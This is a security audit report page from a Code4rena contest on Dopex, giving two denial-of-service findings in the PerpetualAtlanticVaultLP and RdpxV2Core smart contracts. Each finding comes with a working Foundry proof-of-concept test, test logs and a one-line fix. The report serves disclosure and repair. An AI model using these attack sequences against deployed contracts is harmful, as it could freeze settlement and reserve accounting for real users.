Dopex - Krace's results

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/0ea4387a4851cd6c8811dfb61da95a677f3f63ae/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L201

Vulnerability details

Impact

PerpetualAtlanticVaultLP.subtractLoss requires that the collateral balance of this is strictly equal to the _totalCollateral - loss. However, if an attacker transfers any amount of collateral to PerpetualAtlanticVaultLP, this require will always revert because transfer will only increase the balance but not change the _totalCollateral. So anyone could launch a DoS attack on this contract, any call to this function will revert including PerpetualAtlanticVault.settle and RdpxV2Core.settle.

  /// @inheritdoc	IPerpetualAtlanticVaultLP
  function subtractLoss(uint256 loss) public onlyPerpVault {
    require(
      collateral.balanceOf(address(this)) == _totalCollateral - loss,
      "Not enough collateral was sent out"
    );
    _totalCollateral -= loss;
  }

Proof of Concept

Add this test to tests/rdpxV2-core/Unit.t.sol. In this test, I transfer 1 Wei to the PerpetualAtlanticVaultLP, which will revert the call to rdpxV2Core.settle(_ids);. If you comment out the transfer, rdpxV2Core.settle(_ids); will work as expected.

Run with: forge test -m testSettleDos -vvv

diff --git a/tests/rdpxV2-core/Unit.t.sol b/tests/rdpxV2-core/Unit.t.sol
index e11c284..4298d47 100644
--- a/tests/rdpxV2-core/Unit.t.sol
+++ b/tests/rdpxV2-core/Unit.t.sol
@@ -9,6 +9,9 @@ import { Setup } from "./Setup.t.sol";
 // Core contracts
 import { RdpxV2Core } from "contracts/core/RdpxV2Core.sol";
 import { PerpetualAtlanticVault } from "contracts/perp-vault/PerpetualAtlanticVault.sol";
+import { PerpetualAtlanticVaultLP } from "contracts/perp-vault/PerpetualAtlanticVaultLP.sol";
+import { ERC20 } from "solmate/src/tokens/ERC20.sol";
+import "forge-std/console.sol";

 // Interfaces
 import { IStableSwap } from "contracts/interfaces/IStableSwap.sol";
@@ -247,6 +250,29 @@ contract Unit is ERC721Holder, Setup {
     rdpxV2Core.bondWithDelegate(address(this), _amounts, _delegateIds, 0);
   }

+function testSettleDos() public {
+    // settle multiple options at different strikes
+    rdpxV2Core.bond(6 * 1e18, 0, address(this));
+    rdpxV2Core.bond(1 * 1e18, 0, address(this));
+    rdpxV2Core.bond(10 * 1e18, 0, address(this));
+    rdpxV2Core.bond(1 * 1e18, 0, address(this));
+    vault.addToContractWhitelist(address(rdpxV2Core));
+    uint256[] memory _ids = new uint256[](3);
+    _ids[0] = 1;
+    _ids[1] = 2;
+    _ids[2] = 3;
+
+    rdpxPriceOracle.updateRdpxPrice(1e6);
+
+    (,,,,address  addr,,,,,) = rdpxV2Core.addresses();
+    // transfer 1 wei Collateral to PerpetualAtlanticVaultLP to revert every `settle`
+    ERC20 coll = PerpetualAtlanticVaultLP(addr).collateral();
+    coll.transfer(addr, 1);
+
+    // settle will revert
+    rdpxV2Core.settle(_ids);
+  }
+
   function testSettle() public {
     rdpxV2Core.bond(5 * 1e18, 0, address(this));
     rdpxV2Core.bond(1 * 1e18, 0, address(this));

Tools Used

Forge

Recommended Mitigation Steps

Just ensure that the collateral balance of this is greater than or equal to the _totalCollateral - loss should work.

diff --git a/contracts/perp-vault/PerpetualAtlanticVaultLP.sol b/contracts/perp-vault/PerpetualAtlanticVaultLP.sol
index 5758161..1ef633b 100644
--- a/contracts/perp-vault/PerpetualAtlanticVaultLP.sol
+++ b/contracts/perp-vault/PerpetualAtlanticVaultLP.sol
@@ -198,7 +198,7 @@ contract PerpetualAtlanticVaultLP is ERC20, IPerpetualAtlanticVaultLP {
   /// @inheritdoc      IPerpetualAtlanticVaultLP
   function subtractLoss(uint256 loss) public onlyPerpVault {
     require(
-      collateral.balanceOf(address(this)) == _totalCollateral - loss,
+      collateral.balanceOf(address(this)) >= _totalCollateral - loss,
       "Not enough collateral was sent out"
     );
     _totalCollateral -= loss;

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/b174dcd7b68a5372d7b9a97c9dd50895e742689c/contracts/core/RdpxV2Core.sol#L975-L990

Vulnerability details

Impact

Anyone can become a delegate by calling addToDelegate to send some WETH to this contract. This will add the amount of WETH to totalWethDelegated.

function addToDelegate(
    uint256 _amount,
    uint256 _fee
  ) external returns (uint256) {
    _whenNotPaused();
    // fee less than 100%
    _validate(_fee < 100e8, 8);
    // amount greater than 0.01 WETH
    _validate(_amount > 1e16, 4);
    // fee greater than 1%
    _validate(_fee >= 1e8, 8);

    IERC20WithBurn(weth).safeTransferFrom(msg.sender, address(this), _amount);

    Delegate memory delegatePosition = Delegate({
      amount: _amount,
      fee: _fee,
      owner: msg.sender,
      activeCollateral: 0
    });
    delegates.push(delegatePosition);

    // add amount to total weth delegated
    totalWethDelegated += _amount;

    emit LogAddToDelegate(_amount, _fee, delegates.length - 1);
    return (delegates.length - 1);
  }

However, if delegate withdraw his WETH from RdpxV2Core, the value of totalWethDelegated will not changed.

  /**
   * @notice Lets the delegate withdraw unused WETH
   * @param  delegateId The ID of the delegate
   * @return amountWithdrawn The amount of WETH withdrawn
   **/
  function withdraw(
    uint256 delegateId
  ) external returns (uint256 amountWithdrawn) {
    _whenNotPaused();
    _validate(delegateId < delegates.length, 14);
    Delegate storage delegate = delegates[delegateId];
    _validate(delegate.owner == msg.sender, 9);

    amountWithdrawn = delegate.amount - delegate.activeCollateral;
    _validate(amountWithdrawn > 0, 15);
    delegate.amount = delegate.activeCollateral;

    IERC20WithBurn(weth).safeTransfer(msg.sender, amountWithdrawn);

    emit LogDelegateWithdraw(delegateId, amountWithdrawn);
  }

And totalWethDelegated is used to update the balance of WEHT in reserveAsset. Any delegate could increase the value of reserveAsset by calling addToDelegate and withdraw repeatedly.

  /**
   * @notice Syncs asset reserves with contract balances
   **/
  function sync() external {
    for (uint256 i = 1; i < reserveAsset.length; i++) {
      uint256 balance = IERC20WithBurn(reserveAsset[i].tokenAddress).balanceOf(
        address(this)
      );

      if (weth == reserveAsset[i].tokenAddress) {
        balance = balance - totalWethDelegated;
      }
      reserveAsset[i].tokenBalance = balance;
    }

    emit LogSync();
  }

Once totalWethDelegated becomes a relatively large number, for example, the same as the balance of weth in the current contract, then the tokenBalance of weth in reserveAsset can be set to 0 by calling the sync function, which will result in most of the functions of this contract being unable to function properly. The only solution is for the admin to remove the "weth" asset and then re-add it. However, an attacker can use the same method to disrupt the contract's normal functioning, making this a permanent denial of service in my opinion.

Proof of Concept

Add this test to tests/rdpxV2-core/Unit.t.sol. In this test, address(1) is an attacker who addToDelegate with the same value of the balance of WETH in contract and then withdraw it immediately. Then the attacker calls sync to update the balance in reserveAsset. We can observe that the balance in reserveAsset is set to zero, however, there is still WETH in the contract and the delegated WETH has been withdrawn totally.

Result:

Running 1 test for tests/rdpxV2-core/Unit.t.sol:Unit
[PASS] testWithdrawDos() (gas: 1140084)
Logs:
  245000000000000000
  245000000000000000
  reserveAsset WETH balance :  0
  Actually weth in this contract:  245000000000000000

Failing tests:
Encountered 1 failing test in tests/rdpxV2-core/Unit.t.sol:Unit
[FAIL. Reason: Arithmetic over/underflow] testWithdrawDos() (gas: 1246046)

The related calls which will decrease WETH balance in reserveAsset will all revert because of the underflow.

Run with: forge test -m testWithdrawDos -vvv

diff --git a/tests/rdpxV2-core/Unit.t.sol b/tests/rdpxV2-core/Unit.t.sol
index e11c284..3c87ec4 100644
--- a/tests/rdpxV2-core/Unit.t.sol
+++ b/tests/rdpxV2-core/Unit.t.sol
@@ -9,6 +9,10 @@ import { Setup } from "./Setup.t.sol";
 // Core contracts
 import { RdpxV2Core } from "contracts/core/RdpxV2Core.sol";
 import { PerpetualAtlanticVault } from "contracts/perp-vault/PerpetualAtlanticVault.sol";
+import { PerpetualAtlanticVaultLP } from "contracts/perp-vault/PerpetualAtlanticVaultLP.sol";
+import { ERC20 } from "solmate/src/tokens/ERC20.sol";
+import "forge-std/console.sol";
+import { IERC20WithBurn } from "contracts/interfaces/IERC20WithBurn.sol";

 // Interfaces
 import { IStableSwap } from "contracts/interfaces/IStableSwap.sol";
@@ -333,6 +337,38 @@ contract Unit is ERC721Holder, Setup {
     );
   }

+  function testWithdrawDos() public {
+
+    //rdpxV2Core.addToDelegate(1 * 1e18, 10e8);
+    // normal bond to add some weth in the rdpxCoreV2
+    rdpxV2Core.bond(1 * 1e18, 0, address(this));
+    (, uint256 wethBalance, ) = rdpxV2Core.getReserveTokenInfo("WETH");
+    console.log(wethBalance);
+
+    uint256 wBal = (weth).balanceOf(address(rdpxV2Core));
+
+    // address(1) addToDelegate and withdraw  with `wethBalance` amount of weth
+    weth.mint(address(1), 2 * 1e18);
+    vm.prank(address(1), address(1));
+    weth.approve(address(rdpxV2Core), type(uint256).max);
+    vm.prank(address(1), address(1));
+    rdpxV2Core.addToDelegate(wBal, 10e8);
+    vm.prank(address(1), address(1));
+    rdpxV2Core.withdraw(0);
+
+    // address(1) calls sync to update reserveAsset's Balance
+    vm.prank(address(1), address(1));
+    rdpxV2Core.sync();
+    (, wethBalance, ) = rdpxV2Core.getReserveTokenInfo("WETH");
+    console.log("reserveAsset WETH balance : ",wethBalance);
+    console.log("Actually WETH in this contract: ",(weth).balanceOf(address(rdpxV2Core)));
+
+    // revert
+    dpxEthPriceOracle.updateDpxEthPrice(100000);
+    rdpxV2Core.lowerDepeg(0,10,0,0);
+
+  }
+
   function testWithdraw() public {
     rdpxV2Core.addToDelegate(1 * 1e18, 10e8);

Tools Used

Forge

Recommended Mitigation Steps

The fix should be really easy.

diff --git a/contracts/core/RdpxV2Core.sol b/contracts/core/RdpxV2Core.sol
index e28a65c..17cb6c6 100644
--- a/contracts/core/RdpxV2Core.sol
+++ b/contracts/core/RdpxV2Core.sol
@@ -984,6 +984,7 @@ contract RdpxV2Core is
     _validate(amountWithdrawn > 0, 15);
     delegate.amount = delegate.activeCollateral;

+    totalWethDelegated -= amountWithdrawn;
     IERC20WithBurn(weth).safeTransfer(msg.sender, amountWithdrawn);

     emit LogDelegateWithdraw(delegateId, amountWithdrawn);

Assessed type

DoS